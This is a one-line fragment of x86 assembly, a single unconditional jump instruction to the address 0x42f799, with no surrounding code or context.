jmp 0x42f799